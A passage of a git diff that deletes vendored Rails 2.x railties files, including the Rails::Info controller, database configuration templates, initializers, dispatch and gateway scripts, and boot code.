-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/server'
diff --git a/vendor/rails/railties/builtin/rails_info/rails/info.rb b/vendor/rails/railties/builtin/rails_info/rails/info.rb
deleted file mode 100644
index b2799f09..00000000
--- a/vendor/rails/railties/builtin/rails_info/rails/info.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-module Rails
-  module Info
-    mattr_accessor :properties
-    class << (@@properties = [])
-      def names
-        map &:first
-      end
-
-      def value_for(property_name)
-        if property = assoc(property_name)
-          property.last
-        end
-      end
-    end
-
-    class << self #:nodoc:
-      def property(name, value = nil)
-        value ||= yield
-        properties << [name, value] if value
-      rescue Exception
-      end
-
-      def frameworks
-        %w( active_record action_pack active_resource action_mailer active_support )
-      end
-
-      def framework_version(framework)
-        if Object.const_defined?(framework.classify)
-          require "#{framework}/version"
-          "#{framework.classify}::VERSION::STRING".constantize
-        end
-      end
-
-      def edge_rails_revision(info = git_info)
-        info[/commit ([a-z0-9-]+)/, 1] || freeze_edge_version
-      end
-
-      def freeze_edge_version
-        if File.exist?(rails_vendor_root)
-          begin
-            File.readlines(File.join(rails_vendor_root,'REVISION')).first.strip
-          rescue
-            Dir[File.join(rails_vendor_root, 'TAG_*')].first.scan(/_(.+)$/).first.first rescue 'unknown'
-          end
-        end
-      end
-
-      def to_s
-        column_width = properties.names.map {|name| name.length}.max
-        ["About your application's environment", *properties.map do |property|
-          "%-#{column_width}s   %s" % property
-        end] * "\n"
-      end
-
-      alias inspect to_s
-
-      def to_html
-        '<table>'.tap do |table|
-          properties.each do |(name, value)|
-            table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
-            table << %(<td class="value">#{CGI.escapeHTML(value.to_s)}</td></tr>)
-          end
-          table << '</table>'
-        end
-      end
-
-      protected
-        def rails_vendor_root
-          @rails_vendor_root ||= "#{RAILS_ROOT}/vendor/rails"
-        end
-
-        def git_info
-          env_lang, ENV['LC_ALL'] = ENV['LC_ALL'], 'C'
-          Dir.chdir(rails_vendor_root) do
-            silence_stderr { `git log -n 1` }
-          end
-        ensure
-          ENV['LC_ALL'] = env_lang
-        end
-    end
-
-    # The Ruby version and platform, e.g. "1.8.2 (powerpc-darwin8.2.0)".
-    property 'Ruby version', "#{RUBY_VERSION} (#{RUBY_PLATFORM})"
-
-    # The RubyGems version, if it's installed.
-    property 'RubyGems version' do
-      Gem::RubyGemsVersion
-    end
-
-    property 'Rack version' do
-      ::Rack.release
-    end
-
-    # The Rails version.
-    property 'Rails version' do
-      Rails::VERSION::STRING
-    end
-
-    # Versions of each Rails framework (Active Record, Action Pack,
-    # Active Resource, Action Mailer, and Active Support).
-    frameworks.each do |framework|
-      property "#{framework.titlecase} version" do
-        framework_version(framework)
-      end
-    end
-
-    # The Rails Git revision, if it's checked out into vendor/rails.
-    property 'Edge Rails revision' do
-      edge_rails_revision
-    end
-
-    # The application's location on the filesystem.
-    property 'Application root' do
-      File.expand_path(RAILS_ROOT)
-    end
-
-    # The current Rails environment (development, test, or production).
-    property 'Environment' do
-      RAILS_ENV
-    end
-
-    # The name of the database adapter for the current environment.
-    property 'Database adapter' do
-      ActiveRecord::Base.configurations[RAILS_ENV]['adapter']
-    end
-
-    property 'Database schema version' do
-      ActiveRecord::Migrator.current_version rescue nil
-    end
-  end
-end
diff --git a/vendor/rails/railties/builtin/rails_info/rails/info_controller.rb b/vendor/rails/railties/builtin/rails_info/rails/info_controller.rb
deleted file mode 100644
index 05745d60..00000000
--- a/vendor/rails/railties/builtin/rails_info/rails/info_controller.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Rails::InfoController < ActionController::Base
-  def properties
-    if consider_all_requests_local || local_request?
-      render :inline => Rails::Info.to_html
-    else
-      render :text => '<p>For security purposes, this information is only available to local requests.</p>', :status => 500
-    end
-  end
-end
diff --git a/vendor/rails/railties/builtin/rails_info/rails/info_helper.rb b/vendor/rails/railties/builtin/rails_info/rails/info_helper.rb
deleted file mode 100644
index e5605a8d..00000000
--- a/vendor/rails/railties/builtin/rails_info/rails/info_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module Rails::InfoHelper
-end
diff --git a/vendor/rails/railties/builtin/rails_info/rails_info_controller.rb b/vendor/rails/railties/builtin/rails_info/rails_info_controller.rb
deleted file mode 100644
index 2009eb3a..00000000
--- a/vendor/rails/railties/builtin/rails_info/rails_info_controller.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-# Alias to ensure old public.html still works.
-RailsInfoController = Rails::InfoController
diff --git a/vendor/rails/railties/configs/databases/frontbase.yml b/vendor/rails/railties/configs/databases/frontbase.yml
deleted file mode 100644
index c0c3588b..00000000
--- a/vendor/rails/railties/configs/databases/frontbase.yml
+++ /dev/null
@@ -1,28 +0,0 @@
-# FrontBase versions 4.x
-#
-# Get the bindings:
-#   gem install ruby-frontbase
-
-development:
-  adapter: frontbase
-  host: localhost
-  database: <%= app_name %>_development
-  username: <%= app_name %>
-  password: ''
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: frontbase
-  host: localhost
-  database: <%= app_name %>_test
-  username: <%= app_name %>
-  password: ''
-
-production:
-  adapter: frontbase
-  host: localhost
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: ''
diff --git a/vendor/rails/railties/configs/databases/ibm_db.yml b/vendor/rails/railties/configs/databases/ibm_db.yml
deleted file mode 100644
index a9716ddb..00000000
--- a/vendor/rails/railties/configs/databases/ibm_db.yml
+++ /dev/null
@@ -1,62 +0,0 @@
-# IBM Dataservers
-#
-# Home Page
-#   http://rubyforge.org/projects/rubyibm/
-#
-# To install the ibm_db gem:
-#   On Linux:
-#     Source the db2profile file and set the necessary environment variables:
-#
-#       . /home/db2inst1/sqllib/db2profile
-#       export IBM_DB_DIR=/opt/ibm/db2/V9.1
-#       export IBM_DB_LIB=/opt/ibm/db2/V9.1/lib32
-#
-#     Then issue the command: gem install ibm_db
-#
-#   On Windows:
-#     Issue the command: gem install ibm_db
-#     If prompted, select the mswin32 option
-#
-# For more details on the installation refer to http://rubyforge.org/docman/view.php/2361/7682/IBM_DB_GEM.pdf
-#
-# For more details on the connection parameters below refer to:
-#   http://rubyibm.rubyforge.org/docs/adapter/0.9.0/rdoc/classes/ActiveRecord/ConnectionAdapters/IBM_DBAdapter.html
-
-development:
-  adapter:     ibm_db
-  username:    db2inst1
-  password:
-  database:    <%= app_name[0,4] %>_dev
-  #schema:      db2inst1
-  #host:        localhost
-  #port:        50000
-  #account:     my_account
-  #app_user:    my_app_user
-  #application: my_application
-  #workstation: my_workstation
-
-test:
-  adapter:     ibm_db
-  username:    db2inst1
-  password:
-  database:    <%= app_name[0,4] %>_tst
-  #schema:      db2inst1
-  #host:        localhost
-  #port:        50000
-  #account:     my_account
-  #app_user:    my_app_user
-  #application: my_application
-  #workstation: my_workstation
-
-production:
-  adapter:     ibm_db
-  username:    db2inst1
-  password:
-  database:    <%= app_name[0,4] %>_prd
-  #schema:      db2inst1
-  #host:        localhost
-  #port:        50000
-  #account:     my_account
-  #app_user:    my_app_user
-  #application: my_application
-  #workstation: my_workstation
\ No newline at end of file
diff --git a/vendor/rails/railties/configs/databases/mysql.yml b/vendor/rails/railties/configs/databases/mysql.yml
deleted file mode 100644
index 1a14bfb3..00000000
--- a/vendor/rails/railties/configs/databases/mysql.yml
+++ /dev/null
@@ -1,60 +0,0 @@
-# MySQL.  Versions 4.1 and 5.0 are recommended.
-#
-# Install the MySQL driver:
-#   gem install mysql
-# On Mac OS X:
-#   sudo gem install mysql -- --with-mysql-dir=/usr/local/mysql
-# On Mac OS X Leopard:
-#   sudo env ARCHFLAGS="-arch i386" gem install mysql -- --with-mysql-config=/usr/local/mysql/bin/mysql_config
-#       This sets the ARCHFLAGS environment variable to your native architecture
-# On Windows:
-#   gem install mysql
-#       Choose the win32 build.
-#       Install MySQL and put its /bin directory on your path.
-#
-# And be sure to use new-style password hashing:
-#   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
-  adapter: mysql
-  encoding: utf8
-  reconnect: false
-  database: <%= app_name %>_development
-  pool: 5
-  username: root
-  password:
-<% if socket -%>
-  socket: <%= socket %>
-<% else -%>
-  host: localhost
-<% end -%>
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: mysql
-  encoding: utf8
-  reconnect: false
-  database: <%= app_name %>_test
-  pool: 5
-  username: root
-  password:
-<% if socket -%>
-  socket: <%= socket %>
-<% else -%>
-  host: localhost
-<% end -%>
-
-production:
-  adapter: mysql
-  encoding: utf8
-  reconnect: false
-  database: <%= app_name %>_production
-  pool: 5
-  username: root
-  password: 
-<% if socket -%>
-  socket: <%= socket %>
-<% else -%>
-  host: localhost
-<% end -%>
diff --git a/vendor/rails/railties/configs/databases/oracle.yml b/vendor/rails/railties/configs/databases/oracle.yml
deleted file mode 100644
index a1883f62..00000000
--- a/vendor/rails/railties/configs/databases/oracle.yml
+++ /dev/null
@@ -1,39 +0,0 @@
-# Oracle/OCI 8i, 9, 10g
-#
-# Requires Ruby/OCI8:
-#  http://rubyforge.org/projects/ruby-oci8/
-#
-# Specify your database using any valid connection syntax, such as a
-# tnsnames.ora service name, or a SQL connect url string of the form:
-#
-#   //host:[port][/service name]
-#
-# By default prefetch_rows (OCI_ATTR_PREFETCH_ROWS) is set to 100. And
-# until true bind variables are supported, cursor_sharing is set by default
-# to 'similar'. Both can be changed in the configation below; the defaults
-# are equivalent to specifying:
-#
-#  prefetch_rows: 100
-#  cursor_sharing: similar
-#
-
-development:
-  adapter: oracle
-  database: <%= app_name %>_development
-  username: <%= app_name %>
-  password:
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: oracle
-  database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
-
-production:
-  adapter: oracle
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: 
diff --git a/vendor/rails/railties/configs/databases/postgresql.yml b/vendor/rails/railties/configs/databases/postgresql.yml
deleted file mode 100644
index f600e054..00000000
--- a/vendor/rails/railties/configs/databases/postgresql.yml
+++ /dev/null
@@ -1,51 +0,0 @@
-# PostgreSQL. Versions 7.4 and 8.x are supported.
-#
-# Install the ruby-postgres driver:
-#   gem install ruby-postgres
-# On Mac OS X:
-#   gem install ruby-postgres -- --include=/usr/local/pgsql
-# On Windows:
-#   gem install ruby-postgres
-#       Choose the win32 build.
-#       Install PostgreSQL and put its /bin directory on your path.
-development:
-  adapter: postgresql
-  encoding: unicode
-  database: <%= app_name %>_development
-  pool: 5
-  username: <%= app_name %>
-  password:
-
-  # Connect on a TCP socket. Omitted by default since the client uses a
-  # domain socket that doesn't need configuration. Windows does not have
-  # domain sockets, so uncomment these lines.
-  #host: localhost
-  #port: 5432
-
-  # Schema search path. The server defaults to $user,public
-  #schema_search_path: myapp,sharedapp,public
-
-  # Minimum log levels, in increasing order:
-  #   debug5, debug4, debug3, debug2, debug1,
-  #   log, notice, warning, error, fatal, and panic
-  # The server defaults to notice.
-  #min_messages: warning
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: postgresql
-  encoding: unicode
-  database: <%= app_name %>_test
-  pool: 5
-  username: <%= app_name %>
-  password:
-
-production:
-  adapter: postgresql
-  encoding: unicode
-  database: <%= app_name %>_production
-  pool: 5
-  username: <%= app_name %>
-  password:
diff --git a/vendor/rails/railties/configs/databases/sqlite2.yml b/vendor/rails/railties/configs/databases/sqlite2.yml
deleted file mode 100644
index 46f01cb4..00000000
--- a/vendor/rails/railties/configs/databases/sqlite2.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-# SQLite version 2.x
-#   gem install sqlite-ruby
-development:
-  adapter: sqlite
-  database: db/development.sqlite2
-  pool: 5
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: sqlite
-  database: db/test.sqlite2
-  pool: 5
-
-production:
-  adapter: sqlite
-  database: db/production.sqlite2
-  pool: 5
diff --git a/vendor/rails/railties/configs/databases/sqlite3.yml b/vendor/rails/railties/configs/databases/sqlite3.yml
deleted file mode 100644
index 025d62a8..00000000
--- a/vendor/rails/railties/configs/databases/sqlite3.yml
+++ /dev/null
@@ -1,22 +0,0 @@
-# SQLite version 3.x
-#   gem install sqlite3-ruby (not necessary on OS X Leopard)
-development:
-  adapter: sqlite3
-  database: db/development.sqlite3
-  pool: 5
-  timeout: 5000
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: sqlite3
-  database: db/test.sqlite3
-  pool: 5
-  timeout: 5000
-
-production:
-  adapter: sqlite3
-  database: db/production.sqlite3
-  pool: 5
-  timeout: 5000
diff --git a/vendor/rails/railties/configs/empty.log b/vendor/rails/railties/configs/empty.log
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/configs/initializers/backtrace_silencers.rb b/vendor/rails/railties/configs/initializers/backtrace_silencers.rb
deleted file mode 100644
index c2169ed0..00000000
--- a/vendor/rails/railties/configs/initializers/backtrace_silencers.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
-# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
-
-# You can also remove all the silencers if you're trying do debug a problem that might steem from framework code.
-# Rails.backtrace_cleaner.remove_silencers!
\ No newline at end of file
diff --git a/vendor/rails/railties/configs/initializers/cookie_verification_secret.rb b/vendor/rails/railties/configs/initializers/cookie_verification_secret.rb
deleted file mode 100644
index 9f05cd5a..00000000
--- a/vendor/rails/railties/configs/initializers/cookie_verification_secret.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-# Make sure the secret is at least 30 characters and all random, 
-# no regular words or you'll be exposed to dictionary attacks.
-ActionController::Base.cookie_verifier_secret = '<%= app_secret %>';
diff --git a/vendor/rails/railties/configs/initializers/inflections.rb b/vendor/rails/railties/configs/initializers/inflections.rb
deleted file mode 100644
index d531b8bb..00000000
--- a/vendor/rails/railties/configs/initializers/inflections.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new inflection rules using the following format 
-# (all these examples are active by default):
-# ActiveSupport::Inflector.inflections do |inflect|
-#   inflect.plural /^(ox)$/i, '\1en'
-#   inflect.singular /^(ox)en/i, '\1'
-#   inflect.irregular 'person', 'people'
-#   inflect.uncountable %w( fish sheep )
-# end
diff --git a/vendor/rails/railties/configs/initializers/mime_types.rb b/vendor/rails/railties/configs/initializers/mime_types.rb
deleted file mode 100644
index 72aca7e4..00000000
--- a/vendor/rails/railties/configs/initializers/mime_types.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new mime types for use in respond_to blocks:
-# Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/vendor/rails/railties/configs/initializers/new_rails_defaults.rb b/vendor/rails/railties/configs/initializers/new_rails_defaults.rb
deleted file mode 100644
index c94db0a6..00000000
--- a/vendor/rails/railties/configs/initializers/new_rails_defaults.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# These settings change the behavior of Rails 2 apps and will be defaults
-# for Rails 3. You can remove this initializer when Rails 3 is released.
-
-if defined?(ActiveRecord)
-  # Include Active Record class name as root for JSON serialized output.
-  ActiveRecord::Base.include_root_in_json = true
-
-  # Store the full class name (including module namespace) in STI type column.
-  ActiveRecord::Base.store_full_sti_class = true
-end
-
-ActionController::Routing.generate_best_match = false
-
-# Use ISO 8601 format for JSON serialized times and dates.
-ActiveSupport.use_standard_json_time_format = true
-
-# Don't escape HTML entities in JSON, leave that for the #json_escape helper.
-# if you're including raw json in an HTML page.
-ActiveSupport.escape_html_entities_in_json = false
\ No newline at end of file
diff --git a/vendor/rails/railties/configs/initializers/session_store.rb b/vendor/rails/railties/configs/initializers/session_store.rb
deleted file mode 100644
index 4499ab84..00000000
--- a/vendor/rails/railties/configs/initializers/session_store.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying cookie session data integrity.
-# If you change this key, all old sessions will become invalid!
-# Make sure the secret is at least 30 characters and all random, 
-# no regular words or you'll be exposed to dictionary attacks.
-ActionController::Base.session = {
-  :key         => '_<%= app_name %>_session',
-  :secret      => '<%= app_secret %>'
-}
-
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "rake db:sessions:create")
-# ActionController::Base.session_store = :active_record_store
diff --git a/vendor/rails/railties/configs/locales/en.yml b/vendor/rails/railties/configs/locales/en.yml
deleted file mode 100644
index f265c068..00000000
--- a/vendor/rails/railties/configs/locales/en.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-# Sample localization file for English. Add more files in this directory for other locales.
-# See http://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points.
-
-en:
-  hello: "Hello world"
\ No newline at end of file
diff --git a/vendor/rails/railties/configs/routes.rb b/vendor/rails/railties/configs/routes.rb
deleted file mode 100644
index ea14ce1b..00000000
--- a/vendor/rails/railties/configs/routes.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-ActionController::Routing::Routes.draw do |map|
-  # The priority is based upon order of creation: first created -> highest priority.
-
-  # Sample of regular route:
-  #   map.connect 'products/:id', :controller => 'catalog', :action => 'view'
-  # Keep in mind you can assign values other than :controller and :action
-
-  # Sample of named route:
-  #   map.purchase 'products/:id/purchase', :controller => 'catalog', :action => 'purchase'
-  # This route can be invoked with purchase_url(:id => product.id)
-
-  # Sample resource route (maps HTTP verbs to controller actions automatically):
-  #   map.resources :products
-
-  # Sample resource route with options:
-  #   map.resources :products, :member => { :short => :get, :toggle => :post }, :collection => { :sold => :get }
-
-  # Sample resource route with sub-resources:
-  #   map.resources :products, :has_many => [ :comments, :sales ], :has_one => :seller
-  
-  # Sample resource route with more complex sub-resources
-  #   map.resources :products do |products|
-  #     products.resources :comments
-  #     products.resources :sales, :collection => { :recent => :get }
-  #   end
-
-  # Sample resource route within a namespace:
-  #   map.namespace :admin do |admin|
-  #     # Directs /admin/products/* to Admin::ProductsController (app/controllers/admin/products_controller.rb)
-  #     admin.resources :products
-  #   end
-
-  # You can have the root of your site routed with map.root -- just remember to delete public/index.html.
-  # map.root :controller => "welcome"
-
-  # See how all your routes lay out with "rake routes"
-
-  # Install the default routes as the lowest priority.
-  # Note: These default routes make all actions in every controller accessible via GET requests. You should
-  # consider removing or commenting them out if you're using named routes and resources.
-  map.connect ':controller/:action/:id'
-  map.connect ':controller/:action/:id.:format'
-end
diff --git a/vendor/rails/railties/configs/seeds.rb b/vendor/rails/railties/configs/seeds.rb
deleted file mode 100644
index 3174d0cb..00000000
--- a/vendor/rails/railties/configs/seeds.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file should contain all the record creation needed to seed the database with its default values.
-# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
-#
-# Examples:
-#   
-#   cities = City.create([{ :name => 'Chicago' }, { :name => 'Copenhagen' }])
-#   Major.create(:name => 'Daley', :city => cities.first)
diff --git a/vendor/rails/railties/dispatches/config.ru b/vendor/rails/railties/dispatches/config.ru
deleted file mode 100644
index acbfe4e9..00000000
--- a/vendor/rails/railties/dispatches/config.ru
+++ /dev/null
@@ -1,7 +0,0 @@
-# Rack Dispatcher
-
-# Require your environment file to bootstrap Rails
-require File.dirname(__FILE__) + '/config/environment'
-
-# Dispatch the request
-run ActionController::Dispatcher.new
diff --git a/vendor/rails/railties/dispatches/dispatch.fcgi b/vendor/rails/railties/dispatches/dispatch.fcgi
deleted file mode 100755
index 664dbbbe..00000000
--- a/vendor/rails/railties/dispatches/dispatch.fcgi
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/usr/bin/env ruby
-#
-# You may specify the path to the FastCGI crash log (a log of unhandled
-# exceptions which forced the FastCGI instance to exit, great for debugging)
-# and the number of requests to process before running garbage collection.
-#
-# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log
-# and the GC period is nil (turned off).  A reasonable number of requests
-# could range from 10-100 depending on the memory footprint of your app.
-#
-# Example:
-#   # Default log path, normal GC behavior.
-#   RailsFCGIHandler.process!
-#
-#   # Default log path, 50 requests between GC.
-#   RailsFCGIHandler.process! nil, 50
-#
-#   # Custom log path, normal GC behavior.
-#   RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log'
-#
-require File.dirname(__FILE__) + "/../config/environment"
-require 'fcgi_handler'
-
-RailsFCGIHandler.process!
diff --git a/vendor/rails/railties/dispatches/dispatch.rb b/vendor/rails/railties/dispatches/dispatch.rb
deleted file mode 100755
index 32fa3b26..00000000
--- a/vendor/rails/railties/dispatches/dispatch.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/usr/bin/env ruby
-
-require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT)
-
-# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like:
-# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired
-require "dispatcher"
-
-ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun)
-Dispatcher.dispatch
diff --git a/vendor/rails/railties/dispatches/gateway.cgi b/vendor/rails/railties/dispatches/gateway.cgi
deleted file mode 100755
index 0305b7f8..00000000
--- a/vendor/rails/railties/dispatches/gateway.cgi
+++ /dev/null
@@ -1,97 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'drb'
-
-# This file includes an experimental gateway CGI implementation. It will work
-# only on platforms which support both fork and sockets.
-#
-# To enable it edit public/.htaccess and replace dispatch.cgi with gateway.cgi.
-#
-# Next, create the directory log/drb_gateway and grant the apache user rw access
-# to said directory.
-#
-# On the next request to your server, the gateway tracker should start up, along
-# with a few listener processes. This setup should provide you with much better
-# speeds than dispatch.cgi.
-#
-# Keep in mind that the first request made to the server will be slow, as the
-# tracker and listeners will have to load. Also, the tracker and listeners will
-# shutdown after a period if inactivity. You can set this value below -- the
-# default is 90 seconds.
-
-TrackerSocket = File.expand_path(File.join(File.dirname(__FILE__), '../log/drb_gateway/tracker.sock'))
-DieAfter = 90 # Seconds
-Listeners = 3
-
-def message(s)
-  $stderr.puts "gateway.cgi: #{s}" if ENV && ENV["DEBUG_GATEWAY"]
-end
-
-def listener_socket(number)
-  File.expand_path(File.join(File.dirname(__FILE__), "../log/drb_gateway/listener_#{number}.sock"))
-end
-
-unless File.exist? TrackerSocket
-  message "Starting tracker and #{Listeners} listeners"
-  fork do
-    Process.setsid
-    STDIN.reopen "/dev/null"
-    STDOUT.reopen "/dev/null", "a"
-
-    root = File.expand_path(File.dirname(__FILE__) + '/..')
-
-    message "starting tracker"
-    fork do
-      ARGV.clear
-      ARGV << TrackerSocket << Listeners.to_s << DieAfter.to_s
-      load File.join(root, 'script', 'tracker')
-    end
-
-    message "starting listeners"
-    require File.join(root, 'config/environment.rb')
-    Listeners.times do |number|
-      fork do
-        ARGV.clear
-        ARGV << listener_socket(number) << DieAfter.to_s
-        load File.join(root, 'script', 'listener')
-      end
-    end
-  end
-
-  message "waiting for tracker and listener to arise..."
-  ready = false
-  10.times do
-    sleep 0.5
-    break if (ready = File.exist?(TrackerSocket) && File.exist?(listener_socket(0)))
-  end
-
-  if ready
-    message "tracker and listener are ready"
-  else
-    message "Waited 5 seconds, listener and tracker not ready... dropping request"
-    Kernel.exit 1
-  end
-end
-
-DRb.start_service
-
-message "connecting to tracker"
-tracker = DRbObject.new_with_uri("drbunix:#{TrackerSocket}")
-
-input = $stdin.read
-$stdin.close
-
-env = ENV.inspect
-
-output = nil
-tracker.with_listener do |number|
-  message "connecting to listener #{number}"
-  socket = listener_socket(number)
-  listener = DRbObject.new_with_uri("drbunix:#{socket}")
-  output = listener.process(env, input)
-  message "listener #{number} has finished, writing output"
-end
-
-$stdout.write output
-$stdout.flush
-$stdout.close
diff --git a/vendor/rails/railties/doc/README_FOR_APP b/vendor/rails/railties/doc/README_FOR_APP
deleted file mode 100644
index fe41f5cc..00000000
--- a/vendor/rails/railties/doc/README_FOR_APP
+++ /dev/null
@@ -1,2 +0,0 @@
-Use this README file to introduce your application and point to useful places in the API for learning more.
-Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/vendor/rails/railties/environments/boot.rb b/vendor/rails/railties/environments/boot.rb
deleted file mode 100644
index 6686664c..00000000
--- a/vendor/rails/railties/environments/boot.rb
+++ /dev/null
@@ -1,114 +0,0 @@
-# Don't change this file!
-# Configure your app in config/environment.rb and config/environments/*.rb
-
-RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT)
-
-module Rails
-  class << self
-    def boot!
-      unless booted?
-        preinitialize
-        pick_boot.run
-      end
-    end
-
-    def booted?
-      defined? Rails::Initializer
-    end
-
-    def pick_boot
-      (vendor_rails? ? VendorBoot : GemBoot).new
-    end
-
-    def vendor_rails?
-      File.exist?("#{RAILS_ROOT}/vendor/rails")
-    end
-
-    def preinitialize
-      load(preinitializer_path) if File.exist?(preinitializer_path)
-    end
-
-    def preinitializer_path
-      "#{RAILS_ROOT}/config/preinitializer.rb"
-    end
-  end
-
-  class Boot
-    def run
-      load_initializer
-      Rails::Initializer.run(:set_load_path)
-    end
-  end
-
-  class VendorBoot < Boot
-    def load_initializer
-      require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
-      Rails::Initializer.run(:install_gem_spec_stubs)
-      Rails::GemDependency.add_frozen_gem_path
-    end
-  end
-
-  class GemBoot < Boot
-    def load_initializer
-      self.class.load_rubygems
-      load_rails_gem
-      require 'initializer'
-    end
-
-    def load_rails_gem
-      if version = self.class.gem_version
-        gem 'rails', version
-      else
-        gem 'rails'
-      end
-    rescue Gem::LoadError => load_error
-      if load_error.message =~ /Could not find RubyGem rails/
-        STDERR.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.)
-        exit 1
-      else
-        raise
-      end
-    end
-
-    class << self
-      def rubygems_version
-        Gem::RubyGemsVersion rescue nil
-      end
-
-      def gem_version
-        if defined? RAILS_GEM_VERSION
-          RAILS_GEM_VERSION
-        elsif ENV.include?('RAILS_GEM_VERSION')
-          ENV['RAILS_GEM_VERSION']
-        else
-          parse_gem_version(read_environment_rb)
-        end
-      end
-
-      def load_rubygems
-        min_version = '1.3.2'
-        require 'rubygems'
-        unless rubygems_version >= min_version
-          $stderr.puts %Q(Rails requires RubyGems >= #{min_version} (you have #{rubygems_version}). Please `gem update --system` and try again.)
-          exit 1
-        end
-
-      rescue LoadError
-        $stderr.puts %Q(Rails requires RubyGems >= #{min_version}. Please install RubyGems and try again: http://rubygems.rubyforge.org)
-        exit 1
-      end
-
-      def parse_gem_version(text)
-        $1 if text =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*["']([!~<>=]*\s*[\d.]+)["']/
-      end
-
-      private
-        def read_environment_rb
-          File.read("#{RAILS_ROOT}/config/environment.rb")
-        end
-    end
-  end
-end
-
-# All that for this:
-Rails.boot!
diff --git a/vendor/rails/railties/environments/development.rb b/vendor/rails/railties/environments/development.rb
deleted file mode 100644
index 85c9a608..00000000
--- a/vendor/rails/railties/environments/development.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# Settings specified here will take precedence over those in config/environment.rb
-
-# In the development environment your application's code is reloaded on
-# every request.  This slows down response time but is perfect for development
-# since you don't have to restart the webserver when you make code changes.
-config.cache_classes = false
-
-# Log error messages when you accidentally call methods on nil.
-config.whiny_nils = true
-
-# Show full error reports and disable caching
-config.action_controller.consider_all_requests_local = true
-config.action_view.debug_rjs                         = true
-config.action_controller.perform_caching             = false
-
-# Don't care if the mailer can't send
-config.action_mailer.raise_delivery_errors = false
\ No newline at end of file
diff --git a/vendor/rails/railties/environments/environment.rb b/vendor/rails/railties/environments/environment.rb
deleted file mode 100644
index 250deaf4..00000000
--- a/vendor/rails/railties/environments/environment.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# Be sure to restart your server when you modify this file
-
-# Specifies gem version of Rails to use when vendor/rails is not present
-<%= '# ' if freeze %>RAILS_GEM_VERSION = '<%= Rails::VERSION::STRING %>' unless defined? RAILS_GEM_VERSION
-
-# Bootstrap the Rails environment, frameworks, and default configuration
-require File.join(File.dirname(__FILE__), 'boot')
-
-Rails::Initializer.run do |config|
-  # Settings in config/environments/* take precedence over those specified here.
-  # Application configuration should go into files in config/initializers
-  # -- all .rb files in that directory are automatically loaded.
-
-  # Add additional load paths for your own custom dirs
-  # config.autoload_paths += %W( #{RAILS_ROOT}/extras )
-
-  # Specify gems that this application depends on and have them installed with rake gems:install
-  # config.gem "bj"
-  # config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
-  # config.gem "sqlite3-ruby", :lib => "sqlite3"
-  # config.gem "aws-s3", :lib => "aws/s3"
-
-  # Only load the plugins named here, in the order given (default is alphabetical).
